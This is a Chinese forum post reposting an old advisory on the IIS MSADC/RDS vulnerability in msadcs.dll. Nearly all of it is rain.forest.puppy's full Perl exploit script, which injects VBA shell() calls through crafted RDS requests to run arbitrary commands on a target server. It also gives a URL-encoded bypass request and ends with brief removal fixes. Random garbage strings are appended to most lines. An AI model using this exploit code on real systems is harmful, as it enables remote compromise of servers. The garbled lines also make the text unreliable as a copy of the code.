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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) >ke.ZZV?  
T\= #y  
涉及程序: Zs-lN*u7.  
Microsoft NT server (\r^ 0>H  
lFSvHs5  
描述: 9vwm RVN  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 [F;\NJp6?^  
.}Ys+d1b9c  
详细: E`hR(UL ?  
如果你没有时间读详细内容的话,就删除: F#RNm5  
c:\Program Files\Common Files\System\Msadc\msadcs.dll x2r.4  
有关的安全问题就没有了。 W\5 -Yg(@  
bhbTloCR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 %;= ?r*]  
FKL@,>!<e  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 wPu.hVz  
关于利用ODBC远程漏洞的描述,请参看: v;Q*0%~  
fR+{gazk n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Doq}UWp  
KhX)maQ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 fE&s 6w&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Dv` "3  
qN9 ?$\  
这里不再论述。 }m%&|:PH  
}A;YM1^$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F< 5kcu#iL  
;T8(byH ?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z#(Y%6[u  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! i "X" -)#  
#3{}(T7  
*QI Yq  
#将下面这段保存为txt文件,然后: "perl -x 文件名" w Jp1Fl~  
b!Nr  
#!perl a~LdcUYs  
# h(J$-SUs  
# MSADC/RDS 'usage' (aka exploit) script C&%NO;Ole  
# o:"(\$  
# by rain.forest.puppy }bdoJ5  
# 9V&+xbR&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me m,62'  
# beta test and find errors! 6A|XB3  
J7%rPJ  
use Socket; use Getopt::Std; 6gO(  8  
getopts("e:vd:h:XR", \%args); <sM_zoprc  
05\0g9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; .a(G=fk  
}$qrNbLJ  
if (!defined $args{h} && !defined $args{R}) { q #7Nk)<.  
print qq~ f\Hw Y)^>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /0Qo(  
-h <host> = host you want to scan (ip or domain) *O@Zn  
-d <seconds> = delay between calls, default 1 second !b4AeiL>w  
-X = dump Index Server path table, if available 8;c\} D  
-v = verbose Qp)?wny4  
-e = external dictionary file for step 5 D^P0X:T]  
%zRuIDmv  
Or a -R will resume a command session IMM sOl  
L:mE)Xq2  
~; exit;} N#)Klq87z  
3O1Lv2)_  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 2EN}"Du]mj  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} U:eX^LE7  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <SOG?Lh~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,{msJyacmR  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d)D!np=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,`!lZ| U  
02tN=}Cj)  
if (!defined $args{R}){ $ret = &has_msadc; -aE,KQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} bi+g=cS  
"rEfhzmyF  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" jq8TfJ|   
. "cmd /c "; ,_w}\'?L  
$in=<STDIN>; chomp $in; *P]]7DR  
$command="cmd /c " . $in ; f8qDmk5s  
D+! S\~u  
if (defined $args{R}) {&load; exit;} |8[!`T*s  
) R5j?6}xF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .0gfP4{1{  
&try_btcustmr; \w1',"l`  
?OoI6 3&  
print "\nStep 2: Trying to make our own DSN..."; .f;@O qU  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; u*uHdV5  
dn?'06TD  
print "\nStep 3: Trying known DSNs..."; i ps)-1  
&known_dsn; p[At0Gc L  
R+e)TR7+  
print "\nStep 4: Trying known .mdbs..."; Dd/]?4  
&known_mdb; re#]zc<  
=A{'57yP  
if (defined $args{e}){ *)I^+zN  
print "\nStep 5: Trying dictionary of DSN names..."; >+.GBf<E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Uam %u  
UWS 91GN@  
print "Sorry Charley...maybe next time?\n"; m-;8O /  
exit; OT=1doDp  
?MmQ'1N  
############################################################################## Q)M-f;O  
q@XJ,e1A  
sub sendraw { # ripped and modded from whisker w'$>E4\   
sleep($delay); # it's a DoS on the server! At least on mine... (vzYgU,  
my ($pstr)=@_; ~&F|g2:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h"Wpb}FT  
die("Socket problems\n"); *<SXzJ(  
if(connect(S,pack "SnA4x8",2,80,$target)){ yM9>)SE5`  
select(S); $|=1; 5M #',(X  
print $pstr; my @in=<S>; S%Ky+0  
select(STDOUT); close(S); )K$xu(/K  
return @in; hu"-dT;4]  
} else { die("Can't connect...\n"); }} 1|ddG010  
ot! m=s  
############################################################################## &(Hw:W 9  
G?\eO&QG{"  
sub make_header { # make the HTTP request Ex*{iJ;\  
my $msadc=<<EOT mvt-+K?U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _LfbEv<,T  
User-Agent: ACTIVEDATA 3$:F/H  
Host: $ip }aXSMxCd  
Content-Length: $clen $?gKIv>g  
Connection: Keep-Alive r2i]9>w  
)dEcKH<#  
ADCClientVersion:01.06 Otq1CD9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D8 PC;@m  
cq gCcO ,  
--!ADM!ROX!YOUR!WORLD! AGS(ud{  
Content-Type: application/x-varg (e!Yu#-  
Content-Length: $reqlen SAf)#HXa  
T\6,@7  
EOT .'38^  
; $msadc=~s/\n/\r\n/g; kjdIk9 Y  
return $msadc;} (f_J @n  
q*Hg-J}  
##############################################################################  ^4Xsdh5  
45< gO1  
sub make_req { # make the RDS request /0|1xHs  
my ($switch, $p1, $p2)=@_; $dK430_B  
my $req=""; my $t1, $t2, $query, $dsn; 0]MD ?6-  
L ed{#+  
if ($switch==1){ # this is the btcustmr.mdb query j;D$qd'J  
$query="Select * from Customers where City=" . make_shell(); D0kz;X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Z(R0IW  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _nxu8g]  
Vjo[rUW  
elsif ($switch==2){ # this is general make table query :7obxW1X  
$query="create table AZZ (B int, C varchar(10))"; kX}sDvP3  
$dsn="$p1";} *mWl=J;u  
iCh 8e>+  
elsif ($switch==3){ # this is general exploit table query ZPq.|6&  
$query="select * from AZZ where C=" . make_shell(); 88[u^aC  
$dsn="$p1";} ?@FqlWz,  
60A!Gob  
elsif ($switch==4){ # attempt to hork file info from index server y x#ub-A8  
$query="select path from scope()"; ev+H{5W8  
$dsn="Provider=MSIDXS;";} h?B1Emlq  
!?+0O]`}  
elsif ($switch==5){ # bad query Xc" %-  
$query="select"; 8No'8(dPX  
$dsn="$p1";} `Eu,SvkFw  
gYk5}E-  
$t1= make_unicode($query); ;YMg 4Cs  
$t2= make_unicode($dsn); 3$5E1*ed  
$req = "\x02\x00\x03\x00"; dvZlkMm   
$req.= "\x08\x00" . pack ("S1", length($t1)); k2,`W2] ^E  
$req.= "\x00\x00" . $t1 ; ,mi7WW9  
$req.= "\x08\x00" . pack ("S1", length($t2)); K4]ZVMm/*  
$req.= "\x00\x00" . $t2 ; 5|Z8UzL  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; F!/-2u5gF  
return $req;} O#O"]A  
$ #GuV'  
############################################################################## `l.bU3C  
/0fsn_  
sub make_shell { # this makes the shell() statement o&z[d  
return "'|shell(\"$command\")|'";} DS7L}]  
e m)%U  
############################################################################## l;R8"L:,p\  
U,6sR  
sub make_unicode { # quick little function to convert to unicode \*b  .f  
my ($in)=@_; my $out; YN<vOv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 94t`&jZ&|u  
return $out;} 5=<KA   
~$j;@ 4  
############################################################################## hmG8 {h/  
~ QohP`_  
sub rdo_success { # checks for RDO return success (this is kludge) 5ZH3}B^L$  
my (@in) = @_; my $base=content_start(@in); Y{#*;p*I  
if($in[$base]=~/multipart\/mixed/){ 34k>O  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $9r4MMs{$  
return 0;} % a.T@E  
kZrc^  
############################################################################## } snS~kx  
EfpMzD7/(  
sub make_dsn { # this makes a DSN for us Ij =NcP  
my @drives=("c","d","e","f"); XIZN9/;  
print "\nMaking DSN: "; *o:J 4'  
foreach $drive (@drives) { +_bxza(ma{  
print "$drive: "; JEWc{)4QD  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . aot2F60J,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @V5i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (&r` l&0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; [UC_  
return 0 if $2 eq "404"; # not found/doesn't exist W(4$.uZ)  
if($2 eq "200") { g.%} +5  
foreach $line (@results) { CQa8I2VF (  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} cjO %X  
} return 0;} L Yd:S  
oqh J2  
############################################################################## xJU]py~o  
Q^3{L\6_  
sub verify_exists { S&XlMu  
my ($page)=@_; -vY5h%7kf  
my @results=sendraw("GET $page HTTP/1.0\n\n"); t?PqfVSq  
return $results[0];} |mbD q\U  
 &.s.g\  
############################################################################## enQW;N1_M  
a8ouk7 G  
sub try_btcustmr { 6oZHSjC*  
my @drives=("c","d","e","f"); c?}G;$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Wwg<- 9wAJ  
cS:O|R#%t  
foreach $dir (@dirs) { %0/qb0N&  
print "$dir -> "; # fun status so you can see progress ^?sP[;8S!  
foreach $drive (@drives) { Q 3^h  
print "$drive: "; # ditto S^p^) fAmF  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $@] xi  
$reqlenlen=length( "$reqlen" ); r%iFsV_  
$clen= 206 + $reqlenlen + $reqlen; Kz/,V6H:  
/3SEu(d!  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N!wuBRWR  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} t6mv  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} pnz:<V"Y(  
:FH&#Eq~4  
############################################################################## &IzNoB  
w3sU&  |N  
sub odbc_error { j%w^8}U>G  
my (@in)=@_; my $base; hAc|a9 o  
my $base = content_start(@in); *V\.6,^v  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this EU|IzUjFj|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ml{ ]{n  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Xy!NBh7I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )1Y?S;  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8Q)|8xpYS  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w $-q&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {7]maOg>7J  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} pmWy:0R  
/J/V1dC}]D  
############################################################################## .|hsn6i/-  
|W=-/~X  
sub verbose { -vT{D$&1  
my ($in)=@_; X;UEq]kcmn  
return if !$verbose; ){'<67dK  
print STDOUT "\n$in\n";} G7v<Q,s  
iDl#foXa`  
############################################################################## oPni4^g i  
B&B:P  
sub save { DQP!e6Of  
my ($p1, $p2, $p3, $p4)=@_; gt(p%~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Do\j_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; QKq4kAaJ!  
close OUT;} |%ZJN{!R  
wuYak"KX  
############################################################################## &QW&K  
Q3&D A1b`  
sub load { #Y=b7|l  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U!uJ)mm  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); E0fMFG^P  
@p=<IN>; close(IN); ~|O;Sdo=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); !u8IZpf  
$target= inet_aton($ip) || die("inet_aton problems"); S5ai@Ks f  
print "Resuming to $ip ..."; {,h_T0D^j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; N"G\ H<n  
if($p[1]==1) { r6 3l(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; w2XHY>6];  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; z[<Na3]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Bt,'g* Cs  
if (rdo_success(@results)){print "Success!\n";} js Z"T  
else { print "failed\n"; verbose(odbc_error(@results));}} RN[x\",  
elsif ($p[1]==3){ n;kWAYgg  
if(run_query("$p[3]")){ 5Ww,vSCV)  
print "Success!\n";} else { print "failed\n"; }} M/9[P* VE  
elsif ($p[1]==4){ Tsb}\  
if(run_query($drvst . "$p[3]")){ N wNxO  
print "Success!\n"; } else { print "failed\n"; }} 1y1:<t  
exit;} 'kC#GTZi  
"T^%HPif  
############################################################################## rCczQ71W  
,VEE<* 'X  
sub create_table { |? fAe {*  
my ($in)=@_; .xmB8 R  
$reqlen=length( make_req(2,$in,"") ) - 28; r2'K'?T3  
$reqlenlen=length( "$reqlen" ); w@Q~ax/  
$clen= 206 + $reqlenlen + $reqlen; l1]{r2g  
my @results=sendraw(make_header() . make_req(2,$in,"")); <\Y(+?+uZ  
return 1 if rdo_success(@results); 41Q)w=hoN  
my $temp= odbc_error(@results); verbose($temp); Et(H6O 8  
return 1 if $temp=~/Table 'AZZ' already exists/; j n SZ@u  
return 0;} U YJ>L  
+}?%w|8||s  
############################################################################## *C+[I  
?Sa,n^b*H  
sub known_dsn { gzSm=6Qw0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go +6jGU '}[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", p!=8Pq.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", t1mG]  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [hg9 0Q6  
Kg>B$fBx)  
foreach $dSn (@dsns) { tKLeq(  
print "."; MnF|'t  
next if (!is_access("DSN=$dSn")); 2}/r>]9^-  
if(create_table("DSN=$dSn")){ 5EI"5&`*  
print "$dSn successful\n"; mk!8>XvM  
if(run_query("DSN=$dSn")){ w42{)S"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { SC4jKm2  
print "Something's borked. Use verbose next time\n";}}} print "\n";} sH2xkUp  
XP%_|Q2X  
############################################################################## sn^ 3xAF  
.|07IH/Di{  
sub is_access { ~Y*.cGA  
my ($in)=@_; Ank_;jo  
$reqlen=length( make_req(5,$in,"") ) - 28; Vn{;8hZ :a  
$reqlenlen=length( "$reqlen" ); ^OIo  
$clen= 206 + $reqlenlen + $reqlen; ^q/^.Gf  
my @results=sendraw(make_header() . make_req(5,$in,"")); &1^~G0 Rh\  
my $temp= odbc_error(@results); OGJrwl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w_@{v wM$A  
return 0;} qk3 ~]</  
.-& =\}^2l  
############################################################################## G:lhrT{  
ps,Kj3^T<  
sub run_query { L&:A59)1k  
my ($in)=@_; K8BlEF`  
$reqlen=length( make_req(3,$in,"") ) - 28; >!" Sr3,L  
$reqlenlen=length( "$reqlen" ); !.O[@A\.-  
$clen= 206 + $reqlenlen + $reqlen; tK{#kApHGG  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8,vP']4r%  
return 1 if rdo_success(@results); fSVM[  
my $temp= odbc_error(@results); verbose($temp); <kwF<J  
return 0;} v< 2,OcH  
V?x&\<;,  
############################################################################## A&v Qtd  
9IG<9uj  
sub known_mdb { (,+#H]L  
my @drives=("c","d","e","f","g"); md18q:AG)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +N+117m  
my $dir, $drive, $mdb; mr#.uhd.z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Fec4#}|  
Z> Rshtg  
# this is sparse, because I don't know of many <6+B;brh  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *9=}f;~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [kr-gV  
"\\system32\\certmdb.mdb", r^rk@W;[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %_p]6doF  
h]z8.k2n  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4[;}/-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", b 1Wz  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", P~:^bU^F7  
"\\cfusion\\cfapps\\security\\realm_.mdb", T8&sPt,f  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", u R5h0Fi  
"\\cfusion\\database\\cfexamples.mdb", Xg_l4!T_l  
"\\cfusion\\database\\cfsnippets.mdb", iY2q^z/S  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", w?nSQBz$  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", tlvZy+Blv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E2cZk6~m{  
"\\cfusion\\database\\smpolicy.mdb", ZK'WKC  
"\\cfusion\\database\cypress.mdb", 4s_5>r4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [`tNa Vg  
"\\website\\cgi-win\\dbsample.mdb", CA&VnO{r  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $/#[,1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  ;ud"1wH  
); #these are just b|kL*{;  
foreach $drive (@drives) { `uusUw-Gf  
foreach $dir (@dirs){ i-4L{T\K  
foreach $mdb (@sysmdbs) { 2MYez>D  
print "."; lAC "7 Z?F  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ eA?|X|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; T7/DH  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ $;=?[Cn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?^7X2 u$nm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $w-@Oa*h9U  
7MJ\*+T|03  
foreach $drive (@drives) { j)iUg03>/4  
foreach $mdb (@mdbs) { \ /Q~C!  
print "."; X#ha*u~U  
if(create_table($drv . $drive . $dir . $mdb)){ v6uRzFw  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0ZI}eZA j  
if(run_query($drv . $drive . $dir . $mdb)){ y>u |3:z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7!Im|7Ty  
} else { print "Something's borked. Use verbose next time\n"; }}}} Em{;l:;(W  
} W}zq9|p  
3?_%|;ga  
############################################################################## jll|y0  
;KmrBNF  
sub hork_idx { (0_zp`)  
print "\nAttempting to dump Index Server tables...\n"; IIBS:&;+-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; bi@'m?XwJ  
$reqlen=length( make_req(4,"","") ) - 28; -T+'3</T  
$reqlenlen=length( "$reqlen" ); a7u*d`3X=  
$clen= 206 + $reqlenlen + $reqlen; z}$.A9yn  
my @results=sendraw2(make_header() . make_req(4,"","")); [GI2%uA0  
if (rdo_success(@results)){ !a!4^zqp  
my $max=@results; my $c; my %d; {dE(.Z?]!#  
for($c=19; $c<$max; $c++){ PGYx] r  
$results[$c]=~s/\x00//g; +tg${3ti_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Rm$(X5x>o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >nvK{6xR:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; JHZjf7g$k  
$d{"$1$2"}="";} Sz1J4$5  
foreach $c (keys %d){ print "$c\n"; } q?]KZ_a  
} else {print "Index server doesn't seem to be installed.\n"; }} J#3[,~  
MMD=4;X  
############################################################################## \xC#Zs[<  
.Xe_Gp"x  
sub dsn_dict { 368 g> /#'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7z/O#Fbs  
while(<IN>){ 4:b'VHW.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @PQd6%@  
next if (!is_access("DSN=$dSn")); tk8\,!9Q  
if(create_table("DSN=$dSn")){ L@Qvj-5e  
print "$dSn successful\n"; ?pd /cj^  
if(run_query("DSN=$dSn")){ #RSUChe7w  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { z_{_wAuY  
print "Something's borked. Use verbose next time\n";}}} Q:y'G9b  
print "\n"; close(IN);} {KEmGHC4R  
H%Lln#  
############################################################################## m,]9\0GUd  
9 p^gF2?k  
sub sendraw2 { # ripped and modded from whisker ty%,T.@e  
sleep($delay); # it's a DoS on the server! At least on mine... ^4<&"aoo  
my ($pstr)=@_; }m Ub1b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h>!9N dzG  
die("Socket problems\n"); UYW'pV  
if(connect(S,pack "SnA4x8",2,80,$target)){ UL%a^' hR  
print "Connected. Getting data"; {9XNh[NbP  
open(OUT,">raw.out"); my @in; "}-S%v`)z  
select(S); $|=1; print $pstr; * y wr_9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,zK E$  
close(OUT); select(STDOUT); close(S); return @in; u'DpZ  
} else { die("Can't connect...\n"); }} 8=0I4\  
:LdPqFXj  
############################################################################## c"1Z,M;G  
x1E;dbOZ  
sub content_start { # this will take in the server headers 0XqxW\8_l  
my (@in)=@_; my $c; pNmWBp|ER  
for ($c=1;$c<500;$c++) { Y Ztd IG  
if($in[$c] =~/^\x0d\x0a/){ M&Ln'BC  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } n:1Ijh 1  
else { return $c+1; }}} e VQ-?DK  
return -1;} # it should never get here actually inK;n  
tAY{+N]f  
############################################################################## .EH1;/  
I6@"y0I  
sub funky { C 'Y2kb  
my (@in)=@_; my $error=odbc_error(@in); <Kl$ek8  
if($error=~/ADO could not find the specified provider/){ zE/\2F$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 8`]yp7ueS  
exit;} DpT$19Q+  
if($error=~/A Handler is required/){ 1_Av_X  
print "\nServer has custom handler filters (they most likely are patched)\n"; N qz6_!  
exit;} 0bIgOLP  
if($error=~/specified Handler has denied Access/){ n:k4t  
print "\nServer has custom handler filters (they most likely are patched)\n"; Unb3 Gv#O  
exit;}} rQU6*f  
%9S0!h\  
############################################################################## 5)hfI7{d  
=]"I0G-s!  
sub has_msadc { |z:4T%ES  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {c*5 )x!  
my $base=content_start(@results); kl9~obX 1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _./s[{ek  
return 0;} {I?)ODx7qC  
HXZ,"S  
######################## ev_'.t'  
Q[|*P ] w  
H3ovF  
解决方案: $p$p C/:%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll s2 :Vm\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "VU/Ucb7  
WBm)Q#1:  
拿出来充数 哈哈
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